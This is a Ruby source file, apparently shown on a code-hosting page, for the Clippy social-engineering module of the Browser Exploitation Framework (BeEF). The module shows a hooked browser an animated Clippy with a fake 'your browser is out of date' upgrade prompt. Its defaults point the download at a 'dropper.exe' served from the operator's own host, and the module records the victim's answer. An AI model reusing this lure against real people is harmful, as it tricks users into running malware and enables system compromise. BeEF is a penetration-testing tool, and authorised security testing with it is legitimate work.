Path: blob/master/modules/social_engineering/clippy/module.rb
1866 views
#1# Copyright (c) 2006-2026 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Clippy < BeEF::Core::Command6def pre_send7BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-bottom.png', '/clippy/clippy-speech-bottom', 'png')8BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-mid.png', '/clippy/clippy-speech-mid', 'png')9BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-top.png', '/clippy/clippy-speech-top', 'png')10BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-main.png', '/clippy/clippy-main', 'png')11end1213def self.options14@configuration = BeEF::Core::Configuration.instance15proto = @configuration.beef_proto16beef_host = @configuration.beef_host17beef_port = @configuration.beef_port18base_host = "#{proto}://#{beef_host}:#{beef_port}"1920[21{ 'name' => 'clippydir', 'description' => 'Webdir containing clippy images', 'ui_label' => 'Clippy image directory', 'value' => "#{base_host}/clippy/" },22{ 'name' => 'askusertext', 'description' => 'Text for speech bubble', 'ui_label' => 'Custom text',23'value' => 'Your browser appears to be out of date. Would you like to upgrade it?' },24{ 'name' => 'executeyes', 'description' => 'Executable to download', 'ui_label' => 'Executable', 'value' => "#{base_host}/dropper.exe" },25{ 'name' => 'respawntime', 'description' => '', 'ui_label' => 'Time until Clippy shows his face again', 'value' => '5000' },26{ 'name' => 'thankyoumessage', 'description' => 'Thankyou message after downloading', 'ui_label' => 'Thankyou message after downloading',27'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!' }28]29end3031#32# This method is being called when a zombie sends some33# data back to the framework.34#35def post_execute36save({ 'answer' => @datastore['answer'] })37BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-main.png')38BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-top.png')39BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-mid.png')40BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-bottom.png')41end42end434445